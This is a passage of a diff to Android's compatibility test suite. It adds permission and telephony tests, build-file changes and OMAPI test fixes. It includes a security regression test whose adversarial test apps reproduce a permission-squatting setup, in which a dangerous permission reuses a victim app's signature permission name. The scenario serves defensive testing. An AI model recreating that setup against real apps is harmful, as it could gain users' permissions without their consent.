+    private TelephonyManager mTelephonyManager;
+    private boolean mHasTelephony;
+
+    @Before
+    public void setUp() throws Exception {
+        mHasTelephony = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY);
+        mTelephonyManager = (TelephonyManager) getContext().getSystemService(
+                Context.TELEPHONY_SERVICE);
+        assertNotNull(mTelephonyManager);
+    }
+
+    /**
+     * Verify that a SecurityException is thrown when an app targeting SDK 28
+     * lacks the coarse location permission.
+     */
+    @Test
+    public void testGetNeighboringCellInfo() {
+        if (!mHasTelephony) return;
+        try {
+            mTelephonyManager.getNeighboringCellInfo();
+            fail("No Exception thrown for getNeighboringCellInfo without permission!");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
index 8fd4a59..47055ec 100644
--- a/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
@@ -110,13 +110,6 @@
         PhoneStateListener phoneStateListener = new PhoneStateListener();
 
         try {
-            telephonyManager.getNeighboringCellInfo();
-            fail("TelephonyManager.getNeighbouringCellInfo did not throw SecurityException as expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-
-        try {
             telephonyManager.getAllCellInfo();
             fail("TelephonyManager.getAllCellInfo did not throw SecurityException as expected");
         } catch (SecurityException e) {
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
new file mode 100644
index 0000000..2cf261a
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static android.content.pm.PackageInfo.REQUESTED_PERMISSION_GRANTED;
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
+import android.support.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class RemovePermissionTest {
+    private static final String APP_PKG_NAME = "android.permission.cts.revokepermissionwhenremoved";
+    private static final String USER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.userapp";
+    private static final String VICTIM_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.VictimPermissionDefinerApp";
+    private static final String TEST_PERMISSION =
+            "android.permission.cts.revokepermissionwhenremoved.TestPermission";
+
+    private Context mContext;
+    private Instrumentation mInstrumentation;
+
+    @Before
+    public void setContextAndInstrumentation() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @Before
+    public void wakeUpScreen() {
+        SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
+    }
+
+    @After
+    public void cleanUp() throws Exception {
+        uninstallApp(USER_PKG_NAME);
+        uninstallApp(VICTIM_PKG_NAME);
+        uninstallApp(APP_PKG_NAME + ".AdversarialPermissionDefinerApp");
+    }
+
+    private boolean permissionGranted(String permName) throws PackageManager.NameNotFoundException {
+        PackageInfo appInfo = mContext.getPackageManager().getPackageInfo(USER_PKG_NAME,
+                GET_PERMISSIONS);
+
+        for (int i = 0; i < appInfo.requestedPermissions.length; i++) {
+          if (appInfo.requestedPermissions[i].equals(permName)) {
+                return ((appInfo.requestedPermissionsFlags[i] & REQUESTED_PERMISSION_GRANTED) != 0);
+          }
+        }
+        return false;
+    }
+
+    private void installApp(String apk) {
+        String installResult = SystemUtil.runShellCommand(
+                "pm install -r data/local/tmp/cts/permissions/" + apk + ".apk");
+        assertEquals("Success", installResult.trim());
+    }
+
+    private void uninstallApp(String pkg) {
+        uninstallApp(pkg, false);
+    }
+
+    private void uninstallApp(String pkg, boolean assertSuccess) {
+        String uninstallResult = SystemUtil.runShellCommand(
+                "pm uninstall " + pkg);
+        if (assertSuccess) {
+            assertEquals("Success", uninstallResult.trim());
+        }
+    }
+
+    private void grantPermission(String pkg, String permission) {
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
+                pkg, permission);
+    }
+
+    @SecurityTest
+    @Test
+    public void permissionShouldBeRevokedIfRemoved() throws Throwable {
+        installApp("CtsAdversarialPermissionDefinerApp");
+        installApp("CtsAdversarialPermissionUserApp");
+
+        grantPermission(USER_PKG_NAME, TEST_PERMISSION);
+        assertTrue(permissionGranted(TEST_PERMISSION));
+
+        // Uninstall app which defines a permission with the same name as in victim app.
+        // Install the victim app.
+        uninstallApp(APP_PKG_NAME + ".AdversarialPermissionDefinerApp", true);
+        installApp("CtsVictimPermissionDefinerApp");
+        assertFalse(permissionGranted(TEST_PERMISSION));
+    }
+}
diff --git a/tests/tests/permission/testapps/Android.mk b/tests/tests/permission/testapps/Android.mk
new file mode 100644
index 0000000..9aaa6ac
--- /dev/null
+++ b/tests/tests/permission/testapps/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk
new file mode 100644
index 0000000..0302643
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_PACKAGE_NAME := CtsAdversarialPermissionDefinerApp
+
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml
new file mode 100644
index 0000000..20fd73a
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.AdversarialPermissionDefinerApp">
+
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission"
+        android:protectionLevel="dangerous"
+        android:label="TestPermission"
+        android:description="@string/test_permission" />
+
+    <application>
+    </application>
+</manifest>
+
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..062b41c
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk
new file mode 100644
index 0000000..70a096e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk
@@ -0,0 +1,29 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+LOCAL_PACKAGE_NAME := CtsAdversarialPermissionUserApp
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml
new file mode 100644
index 0000000..84ba0ed
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.userapp">
+
+    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission" />
+
+    <application>
+    </application>
+</manifest>
+
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk
new file mode 100644
index 0000000..9aaa6ac
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk
new file mode 100644
index 0000000..512d6ac
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_PACKAGE_NAME := CtsVictimPermissionDefinerApp
+
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml
new file mode 100644
index 0000000..72f836d
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.VictimPermissionDefinerApp">
+
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission"
+        android:protectionLevel="signature"
+        android:label="Test Permission"
+        android:description="@string/test_permission" />
+
+    <application>
+    </application>
+</manifest>
+
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..062b41c
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index b20bd67..040bdbd 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -138,7 +138,6 @@
     <protected-broadcast android:name="android.bluetooth.device.action.MAS_INSTANCE" />
     <protected-broadcast android:name="android.bluetooth.device.action.ALIAS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.FOUND" />
-    <protected-broadcast android:name="android.bluetooth.device.action.DISAPPEARED" />
     <protected-broadcast android:name="android.bluetooth.device.action.CLASS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.ACL_CONNECTED" />
     <protected-broadcast android:name="android.bluetooth.device.action.ACL_DISCONNECT_REQUESTED" />
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
old mode 100644
new mode 100755
index 517f451..928434d
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -65,6 +65,9 @@
     private static final String PLATFORM_PACKAGE_NAME = "android";
 
     public void testPrivappPermissionsEnforcement() throws Exception {
+        assertEquals("ro.control_privapp_permissions is not set to enforce",
+                "enforce", PropertyUtil.getProperty("ro.control_privapp_permissions"));
+
         Set<String> platformPrivPermissions = new HashSet<>();
         PackageManager pm = getContext().getPackageManager();
         PackageInfo platformPackage = pm.getPackageInfo(PLATFORM_PACKAGE_NAME,
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 2f155d8..ea3e6f6 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -85,6 +85,8 @@
         "android.intent.action.DATA_CONNECTION_FAILED",
         "android.intent.action.NETWORK_SET_TIME",
         "android.intent.action.NETWORK_SET_TIMEZONE",
+        "android.telephony.action.SUBSCRIPTION_CARRIER_IDENTITY_CHANGED",
+        "android.telephony.action.SUBSCRIPTION_PRECISE_CARRIER_IDENTITY_CHANGED",
         "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
     };
 
diff --git a/tests/tests/print/printTestUtilLib/Android.bp b/tests/tests/print/printTestUtilLib/Android.bp
new file mode 100644
index 0000000..b661a91
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "print-test-util-lib",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "mockito-target-minus-junit4",
+        "ctstestrunner",
+        "ub-uiautomator",
+        "compatibility-device-util",
+        "android-support-test",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/print/printTestUtilLib/Android.mk b/tests/tests/print/printTestUtilLib/Android.mk
deleted file mode 100644
index 358861b..0000000
--- a/tests/tests/print/printTestUtilLib/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := print-test-util-lib
-
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
index 400f0d2..eb6629b 100644
--- a/tests/tests/provider/Android.mk
+++ b/tests/tests/provider/Android.mk
@@ -48,4 +48,6 @@
 LOCAL_PACKAGE_NAME := CtsProviderTestCases
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
+LOCAL_MIN_SDK_VERSION := 21
+
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/provider/AndroidTest.xml b/tests/tests/provider/AndroidTest.xml
index aaa818c..123931c 100644
--- a/tests/tests/provider/AndroidTest.xml
+++ b/tests/tests/provider/AndroidTest.xml
@@ -21,6 +21,7 @@
         <option name="test-file-name" value="CtsProviderTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="runner" value="android.support.test.runner.AndroidJUnitRunner" />
         <option name="package" value="android.provider.cts" />
         <option name="runtime-hint" value="7m19s" />
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java b/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
index b06ddfa..ac026ba 100644
--- a/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
+++ b/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
@@ -38,10 +38,12 @@
 public class TelephonyProviderTest extends InstrumentationTestCase {
     private ContentResolver mContentResolver;
     private static final String[] APN_PROJECTION = {
-        Carriers.TYPE,            // 0
-        Carriers.MMSC,            // 1
-        Carriers.MMSPROXY,        // 2
-        Carriers.MMSPORT          // 3
+        Carriers.TYPE,
+        Carriers.MMSC,
+        Carriers.MMSPROXY,
+        Carriers.MMSPORT,
+        Carriers.MVNO_TYPE,
+        Carriers.MVNO_MATCH_DATA
     };
 
     @Override
diff --git a/tests/tests/renderscript/libcoremathtestcpp/Android.mk b/tests/tests/renderscript/libcoremathtestcpp/Android.mk
index c6ebfe3..52e19a6 100644
--- a/tests/tests/renderscript/libcoremathtestcpp/Android.mk
+++ b/tests/tests/renderscript/libcoremathtestcpp/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_TAGS := optional
 LOCAL_SRC_FILES := CoreMathTestJni.cpp
 
-LOCAL_CFLAGS := -std=c++11 -Wall -Werror
+LOCAL_CFLAGS := -Wall -Werror
 
 LOCAL_SDK_VERSION := 21
 LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index 633ee23..8ac550b 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -44,7 +44,6 @@
 LOCAL_C_INCLUDES += frameworks/rs/cpp
 LOCAL_C_INCLUDES += frameworks/rs
 
-LOCAL_CPPFLAGS := -std=c++11
 LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
 
 LOCAL_SHARED_LIBRARIES := libdl liblog
diff --git a/tests/tests/rscpp/librscpptest/rs_jni_script.cpp b/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
index 1888341..5cbd324 100644
--- a/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
+++ b/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
@@ -65,12 +65,12 @@
     script->set_charTest(-16);  // charTest
     script->set_shortTest(-32);  // shortTest
     script->set_intTest(-64);  // intTest
-    script->set_longTest(17179869185l);  // longTest
+    script->set_longTest(17179869185L);  // longTest
     script->set_longlongTest(68719476735L); //longlongTest
     script->set_ulongTest(4611686018427387903L);  // boolTest
-    script->set_uint64_tTest(117179869185l); //uint64_tTest
+    script->set_uint64_tTest(117179869185L); //uint64_tTest
     script->set_allocationTest(alloc);  // allocationTest
-    
+
     script->invoke_test_primitive_types();
     mRS->finish();
     if (result == RS_MSG_TEST_FAILED) {
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
old mode 100755
new mode 100644
index c9d21bb..67a7548
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -18,6 +18,7 @@
 
 package android.omapi.cts;
 
+import static org.hamcrest.CoreMatchers.is;
 import static org.junit.Assert.*;
 import static org.junit.Assume.assumeTrue;
 
@@ -89,7 +90,10 @@
             {(byte) 0x94, (byte) 0x0C, 0x00, 0x00, 0x01, (byte) 0xAA, 0x00}
     };
 
-    private final static byte[] CHECK_SELECT_P2_APDU = new byte[]{0x00, (byte) 0xF4, 0x00, 0x00};
+    /* Case 2 APDU command expects the P2 received in the SELECT command as 1-byte outgoing data */
+    private static final byte[] CHECK_SELECT_P2_APDU = new byte[] {
+            0x00, (byte) 0xF4, 0x00, 0x00, 0x00
+    };
 
     /* OMAPI APDU Test case 1 and 3 */
     private final static byte[][] SW_62xx_NO_DATA_APDU =
@@ -255,18 +259,21 @@
             Reader[] readers = seService.getReaders();
 
             for (Reader reader : readers) {
-                Session session = reader.openSession();
-                assertNotNull("Could not open session", session);
-                Channel channel = session.openBasicChannel(null, (byte)0x00);
+                Session session = null;
+                Channel channel = null;
+                try {
+                    session = reader.openSession();
+                    assertNotNull("Could not open session", session);
+                    channel = session.openBasicChannel(null, (byte) 0x00);
+                } finally {
+                    if (channel != null) channel.close();
+                    if (session != null) session.close();
+                }
                 if (reader.getName().startsWith(UICC_READER_PREFIX)) {
                     assertNull("Basic channel on UICC can be opened", channel);
                 } else {
                     assertNotNull("Basic Channel cannot be opened", channel);
                 }
-                if (channel != null) {
-                    channel.close();
-                }
-                session.close();
             }
         } catch (Exception e) {
             fail("Unexpected Exception " + e);
@@ -281,18 +288,21 @@
             Reader[] readers = seService.getReaders();
 
             for (Reader reader : readers) {
-                Session session = reader.openSession();
-                assertNotNull("Could not open session", session);
-                Channel channel = session.openBasicChannel(SELECTABLE_AID, (byte)0x00);
+                Session session = null;
+                Channel channel = null;
+                try {
+                    session = reader.openSession();
+                    assertNotNull("Could not open session", session);
+                    channel = session.openBasicChannel(SELECTABLE_AID, (byte) 0x00);
+                } finally {
+                    if (channel != null) channel.close();
+                    if (session != null) session.close();
+                }
                 if (reader.getName().startsWith(UICC_READER_PREFIX)) {
                     assertNull("Basic channel on UICC can be opened", channel);
                 } else {
                     assertNotNull("Basic Channel cannot be opened", channel);
                 }
-                if (channel != null) {
-                    channel.close();
-                }
-                session.close();
             }
         } catch (Exception e) {
             fail("Unexpected Exception " + e);
@@ -302,43 +312,51 @@
     /** Tests Select API */
     @Test
     public void testSelectableAid() {
-        testSelectableAid(SELECTABLE_AID);
+        try {
+            waitForConnection();
+            Reader[] readers = seService.getReaders();
+            for (Reader reader : readers) {
+                testSelectableAid(reader, SELECTABLE_AID);
+            }
+        } catch (Exception e) {
+            fail("unexpected exception " + e);
+        }
     }
 
     @Test
     public void testLongSelectResponse() {
-        byte[] selectResponse = testSelectableAid(LONG_SELECT_RESPONSE_AID);
-        if (selectResponse == null) {
-            return;
-        }
-        assertTrue("Select Response is not complete", verifyBerTlvData(selectResponse));
-    }
-
-
-    private byte[] testSelectableAid(byte[] aid) {
         try {
             waitForConnection();
             Reader[] readers = seService.getReaders();
-
             for (Reader reader : readers) {
-                assertTrue(reader.isSecureElementPresent());
-                Session session = reader.openSession();
-                assertNotNull("Null Session", session);
-                Channel channel = session.openLogicalChannel(aid, (byte)0x00);
-                assertNotNull("Null Channel", channel);
